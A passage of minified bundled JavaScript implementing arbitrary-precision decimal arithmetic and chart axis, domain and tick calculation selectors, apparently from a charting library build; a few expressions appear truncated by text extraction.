t(e),Mt(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,l,c,u=this,f=u.constructor,h=12,p=+(e=new f(e));if(!e.s)return new f($n);if(u=new f(u),!u.s){if(e.s<1)throw Error(dr+"Infinity");return u}if(u.eq($n))return u;if(r=f.precision,e.eq($n))return nt(u,r);if(t=e.e,n=e.d.length-1,c=t>=n,l=u.s,c){if((n=p<0?-p:p)<=yk){for(i=new f($n),t=Math.ceil(r/ot+4),ut=!1;n%2&&(i=i.times(u),MN(i.d,t)),n=es(n/2),n!==0;)u=u.times(u),MN(u.d,t);return ut=!0,e.s<0?new f($n).div(i):nt(i,r)}}else if(l<0)throw Error(dr+"NaN");return l=l<0&&e.d[Math.max(t,n)]&1?-1:1,u.s=1,ut=!1,i=e.times(Ic(u,r+h)),ut=!0,i=xk(i),i.s=l,i};pe.toPrecision=function(e,t){var n,r,i=this,l=i.constructor;return e===void 0?(n=Mt(i),r=po(i,n<=l.toExpNeg||n>=l.toExpPos)):(Fr(e,1,Jl),t===void 0?t=l.rounding:Fr(t,0,8),i=nt(new l(i),e,t),n=Mt(i),r=po(i,e<=n||n<=l.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(Fr(e,1,Jl),t===void 0?t=r.rounding:Fr(t,0,8)),nt(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=Mt(e),n=e.constructor;return po(e,t<=n.toExpNeg||t>=n.toExpPos)};function bk(e,t){var n,r,i,l,c,u,f,h,p=e.constructor,m=p.precision;if(!e.s||!t.s)return t.s||(t=new p(e)),ut?nt(t,m):t;if(f=e.d,h=t.d,c=e.e,i=t.e,f=f.slice(),l=c-i,l){for(l<0?(r=f,l=-l,u=h.length):(r=h,i=c,u=f.length),c=Math.ceil(m/ot),u=c>u?c+1:u+1,l>u&&(l=u,r.length=1),r.reverse();l--;)r.push(0);r.reverse()}for(u=f.length,l=h.length,u-l<0&&(l=u,r=h,h=f,f=r),n=0;l;)n=(f[--l]=f[l]+h[l]+n)/qt|0,f[l]%=qt;for(n&&(f.unshift(n),++i),u=f.length;f[--u]==0;)f.pop();return t.d=f,t.e=i,ut?nt(t,m):t}function Fr(e,t,n){if(e!==~~e||en)throw Error(no+e)}function Ir(e){var t,n,r,i=e.length-1,l="",c=e[0];if(i>0){for(l+=c,t=1;tc?1:-1;else for(u=f=0;ui[u]?1:-1;break}return f}function n(r,i,l){for(var c=0;l--;)r[l]-=c,c=r[l]1;)r.shift()}return function(r,i,l,c){var u,f,h,p,m,y,x,S,w,O,A,_,T,j,M,P,R,I,B=r.constructor,q=r.s==i.s?1:-1,U=r.d,V=i.d;if(!r.s)return new B(r);if(!i.s)throw Error(dr+"Division by zero");for(f=r.e-i.e,R=V.length,M=U.length,x=new B(q),S=x.d=[],h=0;V[h]==(U[h]||0);)++h;if(V[h]>(U[h]||0)&&--f,l==null?_=l=B.precision:c?_=l+(Mt(r)-Mt(i))+1:_=l,_<0)return new B(0);if(_=_/ot+2|0,h=0,R==1)for(p=0,V=V[0],_++;(h1&&(V=e(V,p),U=e(U,p),R=V.length,M=U.length),j=R,w=U.slice(0,R),O=w.length;O=qt/2&&++P;do p=0,u=t(V,w,R,O),u<0?(A=w[0],R!=O&&(A=A*qt+(w[1]||0)),p=A/P|0,p>1?(p>=qt&&(p=qt-1),m=e(V,p),y=m.length,O=w.length,u=t(m,w,y,O),u==1&&(p--,n(m,R16)throw Error(Xx+Mt(e));if(!e.s)return new p($n);for(ut=!1,u=m,c=new p(.03125);e.abs().gte(.1);)e=e.times(c),h+=5;for(r=Math.log(Xi(2,h))/Math.LN10*2+5|0,u+=r,n=i=l=new p($n),p.precision=u;;){if(i=nt(i.times(e),u),n=n.times(++f),c=l.plus(xa(i,n,u)),Ir(c.d).slice(0,u)===Ir(l.d).slice(0,u)){for(;h--;)l=nt(l.times(l),u);return p.precision=m,t==null?(ut=!0,nt(l,m)):l}l=c}}function Mt(e){for(var t=e.e*ot,n=e.d[0];n>=10;n/=10)t++;return t}function Hy(e,t,n){if(t>e.LN10.sd())throw ut=!0,n&&(e.precision=n),Error(dr+"LN10 precision limit exceeded");return nt(new e(e.LN10),t)}function mi(e){for(var t="";e--;)t+="0";return t}function Ic(e,t){var n,r,i,l,c,u,f,h,p,m=1,y=10,x=e,S=x.d,w=x.constructor,O=w.precision;if(x.s<1)throw Error(dr+(x.s?"NaN":"-Infinity"));if(x.eq($n))return new w(0);if(t==null?(ut=!1,h=O):h=t,x.eq(10))return t==null&&(ut=!0),Hy(w,h);if(h+=y,w.precision=h,n=Ir(S),r=n.charAt(0),l=Mt(x),Math.abs(l)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)x=x.times(e),n=Ir(x.d),r=n.charAt(0),m++;l=Mt(x),r>1?(x=new w("0."+n),l++):x=new w(r+"."+n.slice(1))}else return f=Hy(w,h+2,O).times(l+""),x=Ic(new w(r+"."+n.slice(1)),h-y).plus(f),w.precision=O,t==null?(ut=!0,nt(x,O)):x;for(u=c=x=xa(x.minus($n),x.plus($n),h),p=nt(x.times(x),h),i=3;;){if(c=nt(c.times(p),h),f=u.plus(xa(c,new w(i),h)),Ir(f.d).slice(0,h)===Ir(u.d).slice(0,h))return u=u.times(2),l!==0&&(u=u.plus(Hy(w,h+2,O).times(l+""))),u=xa(u,new w(m),h),w.precision=O,t==null?(ut=!0,nt(u,O)):u;u=f,i+=2}}function NN(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=es(n/ot),e.d=[],r=(n+1)%ot,n<0&&(r+=ot),rlh||e.e<-lh))throw Error(Xx+n)}else e.s=0,e.e=0,e.d=[0];return e}function nt(e,t,n){var r,i,l,c,u,f,h,p,m=e.d;for(c=1,l=m[0];l>=10;l/=10)c++;if(r=t-c,r<0)r+=ot,i=t,h=m[p=0];else{if(p=Math.ceil((r+1)/ot),l=m.length,p>=l)return e;for(h=l=m[p],c=1;l>=10;l/=10)c++;r%=ot,i=r-ot+c}if(n!==void 0&&(l=Xi(10,c-i-1),u=h/l%10|0,f=t<0||m[p+1]!==void 0||h%l,f=n<4?(u||f)&&(n==0||n==(e.s<0?3:2)):u>5||u==5&&(n==4||f||n==6&&(r>0?i>0?h/Xi(10,c-i):0:m[p-1])%10&1||n==(e.s<0?8:7))),t<1||!m[0])return f?(l=Mt(e),m.length=1,t=t-l-1,m[0]=Xi(10,(ot-t%ot)%ot),e.e=es(-t/ot)||0):(m.length=1,m[0]=e.e=e.s=0),e;if(r==0?(m.length=p,l=1,p--):(m.length=p+1,l=Xi(10,ot-r),m[p]=i>0?(h/Xi(10,c-i)%Xi(10,i)|0)*l:0),f)for(;;)if(p==0){(m[0]+=l)==qt&&(m[0]=1,++e.e);break}else{if(m[p]+=l,m[p]!=qt)break;m[p--]=0,l=1}for(r=m.length;m[--r]===0;)m.pop();if(ut&&(e.e>lh||e.e<-lh))throw Error(Xx+Mt(e));return e}function wk(e,t){var n,r,i,l,c,u,f,h,p,m,y=e.constructor,x=y.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new y(e),ut?nt(t,x):t;if(f=e.d,m=t.d,r=t.e,h=e.e,f=f.slice(),c=h-r,c){for(p=c<0,p?(n=f,c=-c,u=m.length):(n=m,r=h,u=f.length),i=Math.max(Math.ceil(x/ot),u)+2,c>i&&(c=i,n.length=1),n.reverse(),i=c;i--;)n.push(0);n.reverse()}else{for(i=f.length,u=m.length,p=i0;--i)f[u++]=0;for(i=m.length;i>c;){if(f[--i]0?l=l.charAt(0)+"."+l.slice(1)+mi(r):c>1&&(l=l.charAt(0)+"."+l.slice(1)),l=l+(i<0?"e":"e+")+i):i<0?(l="0."+mi(-i-1)+l,n&&(r=n-c)>0&&(l+=mi(r))):i>=c?(l+=mi(i+1-c),n&&(r=n-i-1)>0&&(l=l+"."+mi(r))):((r=i+1)0&&(i+1===c&&(l+="."),l+=mi(r))),e.s<0?"-"+l:l}function MN(e,t){if(e.length>t)return e.length=t,!0}function Sk(e){var t,n,r;function i(l){var c=this;if(!(c instanceof i))return new i(l);if(c.constructor=i,l instanceof i){c.s=l.s,c.e=l.e,c.d=(l=l.d)?l.slice():l;return}if(typeof l=="number"){if(l*0!==0)throw Error(no+l);if(l>0)c.s=1;else if(l<0)l=-l,c.s=-1;else{c.s=0,c.e=0,c.d=[0];return}if(l===~~l&&l<1e7){c.e=0,c.d=[l];return}return NN(c,l.toString())}else if(typeof l!="string")throw Error(no+l);if(l.charCodeAt(0)===45?(l=l.slice(1),c.s=-1):c.s=1,jZ.test(l))NN(c,l);else throw Error(no+l)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=Sk,i.config=i.set=PZ,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(no+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(no+n+": "+r);return this}var Zx=Sk(MZ);$n=new Zx(1);const Xe=Zx;var RZ=e=>e,Ok={},Ek=e=>e===Ok,jN=e=>function t(){return arguments.length===0||arguments.length===1&&Ek(arguments.length<=0?void 0:arguments[0])?t:e(...arguments)},Ak=(e,t)=>e===1?t:jN(function(){for(var n=arguments.length,r=new Array(n),i=0;ic!==Ok).length;return l>=e?t(...r):Ak(e-l,jN(function(){for(var c=arguments.length,u=new Array(c),f=0;fEk(p)?u.shift():p);return t(...h,...u)}))}),DZ=e=>Ak(e.length,e),lb=(e,t)=>{for(var n=[],r=e;rArray.isArray(t)?t.map(e):Object.keys(t).map(n=>t[n]).map(e)),LZ=function(){for(var t=arguments.length,n=new Array(t),r=0;rf(u),l(...arguments))}};function Ck(e){var t;return e===0?t=1:t=Math.floor(new Xe(e).abs().log(10).toNumber())+1,t}function _k(e,t,n){for(var r=new Xe(e),i=0,l=[];r.lt(t)&&i<1e5;)l.push(r.toNumber()),r=r.add(n),i++;return l}var Tk=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},Nk=(e,t,n)=>{if(e.lte(0))return new Xe(0);var r=Ck(e.toNumber()),i=new Xe(10).pow(r),l=e.div(i),c=r!==1?.05:.1,u=new Xe(Math.ceil(l.div(c).toNumber())).add(n).mul(c),f=u.mul(i);return t?new Xe(f.toNumber()):new Xe(Math.ceil(f.toNumber()))},IZ=(e,t,n)=>{var r=new Xe(1),i=new Xe(e);if(!i.isint()&&n){var l=Math.abs(e);l<1?(r=new Xe(10).pow(Ck(e)-1),i=new Xe(Math.floor(i.div(r).toNumber())).mul(r)):l>1&&(i=new Xe(Math.floor(e)))}else e===0?i=new Xe(Math.floor((t-1)/2)):n||(i=new Xe(Math.floor(e)));var c=Math.floor((t-1)/2),u=LZ(kZ(f=>i.add(new Xe(f-c).mul(r)).toNumber()),lb);return u(0,t)},Mk=function(t,n,r,i){var l=arguments.length>4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Xe(0),tickMin:new Xe(0),tickMax:new Xe(0)};var c=Nk(new Xe(n).sub(t).div(r-1),i,l),u;t<=0&&n>=0?u=new Xe(0):(u=new Xe(t).add(n).div(2),u=u.sub(new Xe(u).mod(c)));var f=Math.ceil(u.sub(t).div(c).toNumber()),h=Math.ceil(new Xe(n).sub(u).div(c).toNumber()),p=f+h+1;return p>r?Mk(t,n,r,i,l+1):(p0?h+(r-p):h,f=n>0?f:f+(r-p)),{step:c,tickMin:u.sub(new Xe(f).mul(c)),tickMax:u.add(new Xe(h).mul(c))})},zZ=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,l=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,c=Math.max(i,2),[u,f]=Tk([n,r]);if(u===-1/0||f===1/0){var h=f===1/0?[u,...lb(0,i-1).map(()=>1/0)]:[...lb(0,i-1).map(()=>-1/0),f];return n>r?h.reverse():h}if(u===f)return IZ(u,i,l);var{step:p,tickMin:m,tickMax:y}=Mk(u,f,c,l,0),x=_k(m,y.add(new Xe(.1).mul(p)),p);return n>r?x.reverse():x},$Z=function(t,n){var[r,i]=t,l=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[c,u]=Tk([r,i]);if(c===-1/0||u===1/0)return[r,i];if(c===u)return[c];var f=Math.max(n,2),h=Nk(new Xe(u).sub(c).div(f-1),l,0),p=[..._k(new Xe(c),new Xe(u),h),u];return l===!1&&(p=p.map(m=>Math.round(m))),r>i?p.reverse():p},jk=e=>e.rootProps.maxBarSize,BZ=e=>e.rootProps.barGap,Pk=e=>e.rootProps.barCategoryGap,UZ=e=>e.rootProps.barSize,iu=e=>e.rootProps.stackOffset,Rk=e=>e.rootProps.reverseStackOrder,Qx=e=>e.options.chartName,Jx=e=>e.rootProps.syncId,Dk=e=>e.rootProps.syncMethod,e1=e=>e.options.eventEmitter,an={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},ma={allowDuplicatedCategory:!0,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"category"},In={allowDataOverflow:!1,allowDuplicatedCategory:!0,radiusAxisId:0,scale:"auto",tick:!0,tickCount:5,type:"number"},Ap=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t},HZ={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!1,dataKey:void 0,domain:void 0,id:ma.angleAxisId,includeHidden:!1,name:void 0,reversed:ma.reversed,scale:ma.scale,tick:ma.tick,tickCount:void 0,ticks:void 0,type:ma.type,unit:void 0},qZ={allowDataOverflow:In.allowDataOverflow,allowDecimals:!1,allowDuplicatedCategory:In.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:In.radiusAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:In.scale,tick:In.tick,tickCount:In.tickCount,ticks:void 0,type:In.type,unit:void 0},FZ={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:ma.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:ma.angleAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:ma.scale,tick:ma.tick,tickCount:void 0,ticks:void 0,type:"number",unit:void 0},VZ={allowDataOverflow:In.allowDataOverflow,allowDecimals:!1,allowDuplicatedCategory:In.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:In.radiusAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:In.scale,tick:In.tick,tickCount:In.tickCount,ticks:void 0,type:"category",unit:void 0},t1=(e,t)=>e.polarAxis.angleAxis[t]!=null?e.polarAxis.angleAxis[t]:e.layout.layoutType==="radial"?FZ:HZ,n1=(e,t)=>e.polarAxis.radiusAxis[t]!=null?e.polarAxis.radiusAxis[t]:e.layout.layoutType==="radial"?VZ:qZ,Cp=e=>e.polarOptions,r1=G([Pa,Ra,kt],jD),kk=G([Cp,r1],(e,t)=>{if(e!=null)return on(e.innerRadius,t,0)}),Lk=G([Cp,r1],(e,t)=>{if(e!=null)return on(e.outerRadius,t,t*.8)}),KZ=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},Ik=G([Cp],KZ);G([t1,Ik],Ap);var zk=G([r1,kk,Lk],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});G([n1,zk],Ap);var $k=G([Fe,Cp,kk,Lk,Pa,Ra],(e,t,n,r,i,l)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:c,cy:u,startAngle:f,endAngle:h}=t;return{cx:on(c,i,i/2),cy:on(u,l,l/2),innerRadius:n,outerRadius:r,startAngle:f,endAngle:h,clockWise:!1}}}),dt=(e,t)=>t,ou=(e,t,n)=>n;function a1(e){return e?.id}function Bk(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:l}=n,c=new Map;return e.forEach(u=>{var f,h=(f=u.data)!==null&&f!==void 0?f:r;if(!(h==null||h.length===0)){var p=a1(u);h.forEach((m,y)=>{var x=l==null||i?y:String(lt(m,l,null)),S=lt(m,u.dataKey,0),w;c.has(x)?w=c.get(x):w={},Object.assign(w,{[p]:S}),c.set(x,w)})}}),Array.from(c.values())}function _p(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Tp=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Np(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function YZ(e,t){if(e.length===t.length){for(var n=0;n{var t=Fe(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ts=e=>e.tooltip.settings.axisId;function PN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function sh(e){for(var t=1;te.cartesianAxis.xAxis[t],La=(e,t)=>{var n=Uk(e,t);return n??Ut},Ht={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:sb,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Qc},Hk=(e,t)=>e.cartesianAxis.yAxis[t],Ia=(e,t)=>{var n=Hk(e,t);return n??Ht},ZZ={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},i1=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??ZZ},pt=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);case"zAxis":return i1(e,n);case"angleAxis":return t1(e,n);case"radiusAxis":return n1(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},QZ=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},lu=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);case"angleAxis":return t1(e,n);case"radiusAxis":return n1(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},qk=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function o1(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var l1=e=>e.graphicalItems.cartesianItems,JZ=G([dt,ou],o1),s1=(e,t,n)=>e.filter(n).filter(r=>t?.includeHidden===!0?!0:!r.hide),su=G([l1,pt,JZ],s1,{memoizeOptions:{resultEqualityCheck:Np}}),Fk=G([su],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(_p)),Vk=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),eQ=G([su],Vk),c1=e=>e.map(t=>t.data).filter(Boolean).flat(1),tQ=G([su],c1,{memoizeOptions:{resultEqualityCheck:Np}}),u1=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},f1=G([tQ,vk],u1),d1=(e,t,n)=>t?.dataKey!=null?e.map(r=>({value:lt(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:lt(i,r)}))):e.map(r=>({value:r})),Mp=G([f1,pt,su],d1);function Kk(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function md(e){if(qr(e)||e instanceof Date){var t=Number(e);if(ht(t))return t}}function RN(e){if(Array.isArray(e)){var t=[md(e[0]),md(e[1])];return Oi(t)?t:void 0}var n=md(e);if(n!=null)return[n,n]}function Na(e){return e.map(md).filter(pF)}function nQ(e,t,n){return!n||typeof t!="number"||Hr(t)?[]:n.length?Na(n.flatMap(r=>{var i=lt(e,r.dataKey),l,c;if(Array.isArray(i)?[l,c]=i:l=c=i,!(!ht(l)||!ht(c)))return[t-l,t+c]})):[]}var zt=e=>{var t=It(e),n=ts(e);return lu(e,t,n)},cu=G([zt],e=>e?.dataKey),rQ=G([Fk,vk,zt],Bk),Yk=(e,t,n,r)=>{var i={},l=t.reduce((c,u)=>{if(u.stackId==null)return c;var f=c[u.stackId];return f==null&&(f=[]),f.push(u),c[u.stackId]=f,c},i);return Object.fromEntries(Object.entries(l).map(c=>{var[u,f]=c,h=r?[...f].reverse():f,p=h.map(a1);return[u,{stackedData:PK(e,p,n),graphicalItems:h}]}))},cb=G([rQ,Fk,iu,Rk],Yk),Gk=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:l}=t;if(r==null&&n!=="zAxis"){var c=IK(e,i,l);if(!(c!=null&&c[0]===0&&c[1]===0))return c}},aQ=G([pt],e=>e.allowDataOverflow),h1=e=>{var t;if(e==null||!("domain"in e))return sb;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Na(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e?.domain)!==null&&t!==void 0?t:sb},p1=G([pt],h1),m1=G([p1,aQ],gk),iQ=G([cb,ka,dt,m1],Gk,{memoizeOptions:{resultEqualityCheck:Tp}}),jp=e=>e.errorBars,oQ=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>Kk(n,r)),ch=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var l,c;if(n.length>0&&e.forEach(u=>{n.forEach(f=>{var h,p,m=(h=r[f.id])===null||h===void 0?void 0:h.filter(A=>Kk(i,A)),y=lt(u,(p=t.dataKey)!==null&&p!==void 0?p:f.dataKey),x=nQ(u,y,m);if(x.length>=2){var S=Math.min(...x),w=Math.max(...x);(l==null||Sc)&&(c=w)}var O=RN(y);O!=null&&(l=l==null?O[0]:Math.min(l,O[0]),c=c==null?O[1]:Math.max(c,O[1]))})}),t?.dataKey!=null&&e.forEach(u=>{var f=RN(lt(u,t.dataKey));f!=null&&(l=l==null?f[0]:Math.min(l,f[0]),c=c==null?f[1]:Math.max(c,f[1]))}),ht(l)&&ht(c))return[l,c]},lQ=G([f1,pt,eQ,jp,dt],v1,{memoizeOptions:{resultEqualityCheck:Tp}});function sQ(e){var{value:t}=e;if(qr(t)||t instanceof Date)return t}var cQ=(e,t,n)=>{var r=e.map(sQ).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&mR(r))?kD(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},Wk=e=>e.referenceElements.dots,ns=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),uQ=G([Wk,dt,ou],ns),Xk=e=>e.referenceElements.areas,fQ=G([Xk,dt,ou],ns),Zk=e=>e.referenceElements.lines,dQ=G([Zk,dt,ou],ns),Qk=(e,t)=>{if(e!=null){var n=Na(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},hQ=G(uQ,dt,Qk),Jk=(e,t)=>{if(e!=null){var n=Na(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},pQ=G([fQ,dt],Jk);function mQ(e){var t;if(e.x!=null)return Na([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Na(n)}function vQ(e){var t;if(e.y!=null)return Na([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Na(n)}var eL=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?mQ(r):vQ(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},gQ=G([dQ,dt],eL),yQ=G(hQ,gQ,pQ,(e,t,n)=>ch(e,n,t)),g1=(e,t,n,r,i,l,c,u)=>{if(n!=null)return n;var f=c==="vertical"&&u==="xAxis"||c==="horizontal"&&u==="yAxis",h=f?ch(r,l,i):ch(l,i);return NZ(t,h,e.allowDataOverflow)},bQ=G([pt,p1,m1,iQ,lQ,yQ,Fe,dt],g1,{memoizeOptions:{resultEqualityCheck:Tp}}),xQ=[0,1],y1=(e,t,n,r,i,l,c)=>{if(!((e==null||n==null||n.length===0)&&c===void 0)){var{dataKey:u,type:f}=e,h=So(t,l);if(h&&u==null){var p;return kD(0,(p=n?.length)!==null&&p!==void 0?p:0)}return f==="category"?cQ(r,e,h):i==="expand"?xQ:c}},b1=G([pt,Fe,f1,Mp,iu,dt,bQ],y1),tL=(e,t,n,r,i)=>{if(e!=null){var{scale:l,type:c}=e;if(l==="auto")return t==="radial"&&i==="radiusAxis"?"band":t==="radial"&&i==="angleAxis"?"linear":c==="category"&&r&&(r.indexOf("LineChart")>=0||r.indexOf("AreaChart")>=0||r.indexOf("ComposedChart")>=0&&!n)?"point":c==="category"?"band":"linear";if(typeof l=="string"){var u="scale".concat(Yc(l));return u in mc?u:"point"}}},rs=G([pt,Fe,qk,Qx,dt],tL);function wQ(e){if(e!=null){if(e in mc)return mc[e]();var t="scale".concat(Yc(e));if(t in mc)return mc[t]()}}function x1(e,t,n,r){if(!(n==null||r==null)){if(typeof e.scale=="function")return e.scale.copy().domain(n).range(r);var i=wQ(t);if(i!=null){var l=i.domain(n).range(r);return _K(l),l}}}var w1=(e,t,n)=>{var r=h1(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Oi(e))return zZ(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Oi(e))return $Z(e,t.tickCount,t.allowDecimals)}},S1=G([b1,lu,rs],w1),O1=(e,t,n,r)=>{if(r!=="angleAxis"&&e?.type==="number"&&Oi(t)&&Array.isArray(n)&&n.length>0){var i=t[0],l=n[0],c=t[1],u=n[n.length-1];return[Math.min(i,l),Math.max(c,u)]}return t},SQ=G([pt,b1,S1,dt],O1),OQ=G(Mp,pt,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Na(e.map(m=>m.value))).sort((m,y)=>m-y),i=r[0],l=r[r.length-1];if(i==null||l==null)return 1/0;var c=l-i;if(c===0)return 1/0;for(var u=0;ui,(e,t,n,r,i)=>{if(!ht(e))return 0;var l=t==="vertical"?r.height:r.width;if(i==="gap")return e*l/2;if(i==="no-gap"){var c=on(n,e*l),u=e*l/2;return u-c-(u-c)/l*c}return 0}),EQ=(e,t,n)=>{var r=La(e,t);return r==null||typeof r.padding!="string"?0:nL(e,"xAxis",t,n,r.padding)},AQ=(e,t,n)=>{var r=Ia(e,t);return r==null||typeof r.padding!="string"?0:nL(e,"yAxis",t,n,r.padding)},CQ=G(La,EQ,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),_Q=G(Ia,AQ,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),TQ=G([kt,CQ,cp,sp,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:l}=r;return i?[l.left,n.width-l.right]:[e.left+t.left,e.left+e.width-t.right]}),NQ=G([kt,Fe,_Q,cp,sp,(e,t,n)=>n],(e,t,n,r,i,l)=>{var{padding:c}=i;return l?[r.height-c.bottom,c.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),uu=(e,t,n,r)=>{var i;switch(t){case"xAxis":return TQ(e,n,r);case"yAxis":return NQ(e,n,r);case"zAxis":return(i=i1(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return Ik(e);case"radiusAxis":return zk(e,n);default:return}},rL=G([pt,uu],Ap),Pp=G([pt,rs,SQ,rL],x1);G([su,jp,dt],oQ);function aL(e,t){return e.idt.id?1:0}var 